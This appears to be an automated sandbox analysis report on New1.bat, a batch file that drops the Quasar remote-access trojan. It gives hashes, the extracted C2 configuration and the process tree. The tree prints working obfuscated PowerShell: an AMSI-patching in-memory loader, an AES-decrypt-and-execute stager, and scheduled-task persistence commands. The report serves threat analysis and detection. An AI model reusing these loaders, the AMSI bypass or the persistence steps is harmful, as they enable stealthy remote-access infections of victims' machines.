Analysis

  • max time kernel
    299s
  • max time network
    298s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    28-05-2024 13:42

General

  • Target

    New1.bat

  • Size

    1002KB

  • MD5

    f6d5bfaee8a55ff72c7b453fda066d62

  • SHA1

    7d737d53013990e5d05076b7206e43eb4793fc7f

  • SHA256

    3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

  • SHA512

    e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

  • SSDEEP

    12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Malware Config

Extracted

Family

quasar

Attributes
  • reconnect_delay

    3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

C2

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes
  • encryption_key

    zK8u0rpHf4TJzGf65Flt

  • install_name

    Win11.exe

  • log_directory

    $sxr-Logs

  • reconnect_delay

    3000

  • startup_key

    Windows 11 Boot

  • subdirectory

    Win11

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 16 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 59 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:588
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:992
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{9f2f8d8c-fc5f-4bd9-bb12-5389e7c9e37c}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4140
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:640
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
          1⤵
            PID:724
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
            1⤵
              PID:900
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
              1⤵
                PID:360
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
                1⤵
                  PID:696
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
                  1⤵
                    PID:708
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                      PID:1028
                      • c:\windows\system32\taskhostw.exe
                        taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                        2⤵
                          PID:3140
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EVmmWVktzjFH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NDmQKdYXwljFsn,[Parameter(Position=1)][Type]$QabPkxghQx)$wXFwFuQJnKi=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+''+[Char](109)+'or'+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+'e',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+','+'P'+''+[Char](117)+''+'b'+''+'l'+''+'i'+'c,S'+'e'+'a'+[Char](108)+'e'+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+'C'+''+[Char](108)+''+[Char](97)+''+'s'+'s'+','+''+[Char](65)+''+'u'+''+'t'+'o'+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$wXFwFuQJnKi.DefineConstructor('RT'+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+'l'+'N'+''+'a'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NDmQKdYXwljFsn).SetImplementationFlags(''+[Char](82)+'un'+'t'+''+[Char](105)+'m'+'e'+',Ma'+[Char](110)+'a'+'g'+''+[Char](101)+''+'d'+'');$wXFwFuQJnKi.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c,'+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+'N'+''+[Char](101)+''+'w'+''+'S'+''+'l'+'o'+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+'l',$QabPkxghQx,$NDmQKdYXwljFsn).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+'im'+'e'+''+','+''+[Char](77)+''+'a'+'n'+'a'+'ge'+'d'+'');Write-Output $wXFwFuQJnKi.CreateType();}$xwZvcUHWVQCjL=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.d'+[Char](108)+''+[Char](108)+'')}).GetType('Mic'+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+'.'+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+'t'+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$kHSLsNMOTTjtBq=$xwZvcUHWVQCjL.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+'ddr'+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+'a'+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$iObvyeIFWXXWodmSWTE=EVmmWVktzjFH @([String])([IntPtr]);$AKQmuliDwvcNUcBFfzAHuj=EVmmWVktzjFH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$yEJzJGxBaoT=$xwZvcUHWVQCjL.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'Mo'+'d'+'ule'+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+'le').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'ne'+'l'+'3'+[Char](50)+'.dl'+'l'+'')));$QYAYsFSSYwfKcu=$kHSLsNMOTTjtBq.Invoke($Null,@([Object]$yEJzJGxBaoT,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$RbbfhrMAMRIvEkKcR=$kHSLsNMOTTjtBq.Invoke($Null,@([Object]$yEJzJGxBaoT,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+'lP'+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$JCNiDsF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QYAYsFSSYwfKcu,$iObvyeIFWXXWodmSWTE).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+'i'+'.'+'dll');$vUSztmmPJOAxjixvY=$kHSLsNMOTTjtBq.Invoke($Null,@([Object]$JCNiDsF,[Object](''+'A'+'ms'+[Char](105)+''+[Char](83)+'c'+'a'+''+[Char](110)+''+'B'+'u'+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$OxUFiGDBvO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RbbfhrMAMRIvEkKcR,$AKQmuliDwvcNUcBFfzAHuj).Invoke($vUSztmmPJOAxjixvY,[uint32]8,4,[ref]$OxUFiGDBvO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$vUSztmmPJOAxjixvY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RbbfhrMAMRIvEkKcR,$AKQmuliDwvcNUcBFfzAHuj).Invoke($vUSztmmPJOAxjixvY,[uint32]8,0x20,[ref]$OxUFiGDBvO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OFT'+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+'77'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                          2⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of WriteProcessMemory
                          PID:1320
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
                        1⤵
                        • Drops file in System32 directory
                        PID:1112
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k localservice -s nsi
                        1⤵
                          PID:1212
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                          1⤵
                            PID:1224
                          • c:\windows\system32\svchost.exe
                            c:\windows\system32\svchost.exe -k netsvcs -s Themes
                            1⤵
                              PID:1292
                            • c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k localservice -s EventSystem
                              1⤵
                                PID:1300
                              • c:\windows\system32\svchost.exe
                                c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
                                1⤵
                                  PID:1364
                                • c:\windows\system32\svchost.exe
                                  c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                  1⤵
                                    PID:1476
                                  • c:\windows\system32\svchost.exe
                                    c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                    1⤵
                                      PID:1484
                                      • c:\windows\system32\sihost.exe
                                        sihost.exe
                                        2⤵
                                          PID:3012
                                      • c:\windows\system32\svchost.exe
                                        c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
                                        1⤵
                                          PID:1564
                                        • c:\windows\system32\svchost.exe
                                          c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
                                          1⤵
                                            PID:1588
                                          • c:\windows\system32\svchost.exe
                                            c:\windows\system32\svchost.exe -k networkservice -s Dnscache
                                            1⤵
                                              PID:1624
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                              1⤵
                                                PID:1692
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                1⤵
                                                  PID:1752
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
                                                  1⤵
                                                    PID:1760
                                                  • c:\windows\system32\svchost.exe
                                                    c:\windows\system32\svchost.exe -k localservice -s netprofm
                                                    1⤵
                                                      PID:1768
                                                    • c:\windows\system32\svchost.exe
                                                      c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                      1⤵
                                                        PID:1892
                                                      • c:\windows\system32\svchost.exe
                                                        c:\windows\system32\svchost.exe -k appmodel -s StateRepository
                                                        1⤵
                                                          PID:1904
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2032
                                                          • c:\windows\system32\svchost.exe
                                                            c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
                                                            1⤵
                                                              PID:1596
                                                            • c:\windows\system32\svchost.exe
                                                              c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
                                                              1⤵
                                                                PID:2216
                                                              • c:\windows\system32\svchost.exe
                                                                c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                                1⤵
                                                                  PID:2224
                                                                • c:\windows\system32\svchost.exe
                                                                  c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                                  1⤵
                                                                    PID:2248
                                                                  • c:\windows\system32\svchost.exe
                                                                    c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    • Modifies data under HKEY_USERS
                                                                    PID:2264
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2320
                                                                    • c:\windows\system32\svchost.exe
                                                                      c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
                                                                      1⤵
                                                                        PID:2332
                                                                      • c:\windows\system32\svchost.exe
                                                                        c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
                                                                        1⤵
                                                                          PID:2340
                                                                        • c:\windows\system32\svchost.exe
                                                                          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                                                          1⤵
                                                                            PID:2408
                                                                          • c:\windows\system32\svchost.exe
                                                                            c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                            1⤵
                                                                              PID:2460
                                                                            • c:\windows\system32\svchost.exe
                                                                              c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                              1⤵
                                                                                PID:2692
                                                                              • C:\Windows\system32\wbem\unsecapp.exe
                                                                                C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                1⤵
                                                                                  PID:2976
                                                                                • c:\windows\system32\svchost.exe
                                                                                  c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
                                                                                  1⤵
                                                                                    PID:3048
                                                                                  • c:\windows\system32\svchost.exe
                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
                                                                                    1⤵
                                                                                      PID:3204
                                                                                    • C:\Windows\Explorer.EXE
                                                                                      C:\Windows\Explorer.EXE
                                                                                      1⤵
                                                                                        PID:3328
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New1.bat"
                                                                                          2⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4520
                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\New1.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\New1.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                            3⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Modifies registry class
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:4768
                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_286_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_286.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                              4⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:520
                                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_286.vbs"
                                                                                              4⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:1580
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_286.bat" "
                                                                                                5⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:3788
                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                  6⤵
                                                                                                    PID:4236
                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_286.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_286.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                                    6⤵
                                                                                                    • Blocklisted process makes network request
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:3512
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\New.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\New.exe"
                                                                                                      7⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:4760
                                                                                                      • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                                        "SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
                                                                                                        8⤵
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:4996
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                                      7⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:1052
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:3872
                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                            1⤵
                                                                                              PID:3344
                                                                                            • c:\windows\system32\svchost.exe
                                                                                              c:\windows\system32\svchost.exe -k localservice -s CDPSvc
                                                                                              1⤵
                                                                                                PID:4752
                                                                                              • c:\windows\system32\svchost.exe
                                                                                                c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
                                                                                                1⤵
                                                                                                  PID:4472
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
                                                                                                  1⤵
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:4084
                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                  1⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:3056
                                                                                                • c:\windows\system32\svchost.exe
                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
                                                                                                  1⤵
                                                                                                    PID:3652
                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                    1⤵
                                                                                                      PID:3820
                                                                                                    • C:\Windows\system32\ApplicationFrameHost.exe
                                                                                                      C:\Windows\system32\ApplicationFrameHost.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:4256
                                                                                                      • C:\Windows\System32\InstallAgent.exe
                                                                                                        C:\Windows\System32\InstallAgent.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:528
                                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                                          C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                          1⤵
                                                                                                            PID:4356
                                                                                                          • C:\Windows\sysWOW64\wbem\wmiprvse.exe
                                                                                                            C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
                                                                                                            1⤵
                                                                                                              PID:1812
                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                              1⤵
                                                                                                              • Checks BIOS information in registry
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:4568

                                                                                                            Network

                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                            Replay Monitor

                                                                                                            Loading Replay Monitor...

                                                                                                            Downloads

                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                              Filesize

                                                                                                              2KB

                                                                                                              MD5

                                                                                                              a8641a2f94483f12ba0cad0cf02a3bc7

                                                                                                              SHA1

                                                                                                              fae3e6835336154b90503431279eef6c52a289d2

                                                                                                              SHA256

                                                                                                              ce70f1a4578b12964dde1e1eef8cb1948847230bf3458dfd41f8e2c32c71c24d

                                                                                                              SHA512

                                                                                                              5c92772168461d15ef6ed7b5ab2103cb63acfb1540d2d56610bbdd4a3494e866e47a225f6c7a42fa31f9170495dcddfad24533711289a6c3bfa5857a376b3e62

                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                              Filesize

                                                                                                              17KB

                                                                                                              MD5

                                                                                                              4dd59b163587b29df52115ab82810fd5

                                                                                                              SHA1

                                                                                                              8262e5404fd98368cdbca4c57b8e776308fb0f94

                                                                                                              SHA256

                                                                                                              6e90ef6badb7eea3cb8cd3c1ab796b980b74f2728cec67b1a6864b96b696d297

                                                                                                              SHA512

                                                                                                              591410f0be5b327d8bbb8da8aa490f94dec5c5eac2b1f0b51b3360040cfbf8278c56842a55cfe27152c1c8cd565f05a04f22693ce65b03e9a0eb34a766ed298c

                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Install.exe

                                                                                                              Filesize

                                                                                                              163KB

                                                                                                              MD5

                                                                                                              b51552b77057c2405f73bbbf9c89234a

                                                                                                              SHA1

                                                                                                              4793adbba023f90d2d2ad0ec55199c56de815224

                                                                                                              SHA256

                                                                                                              720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

                                                                                                              SHA512

                                                                                                              564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

                                                                                                            • C:\Users\Admin\AppData\Local\Temp\New.exe

                                                                                                              Filesize

                                                                                                              409KB

                                                                                                              MD5

                                                                                                              cf570b21f42f0ce411b7c9961068931e

                                                                                                              SHA1

                                                                                                              f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

                                                                                                              SHA256

                                                                                                              d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

                                                                                                              SHA512

                                                                                                              de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

                                                                                                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fk5qgdnv.1mv.ps1

                                                                                                              Filesize

                                                                                                              1B

                                                                                                              MD5

                                                                                                              c4ca4238a0b923820dcc509a6f75849b

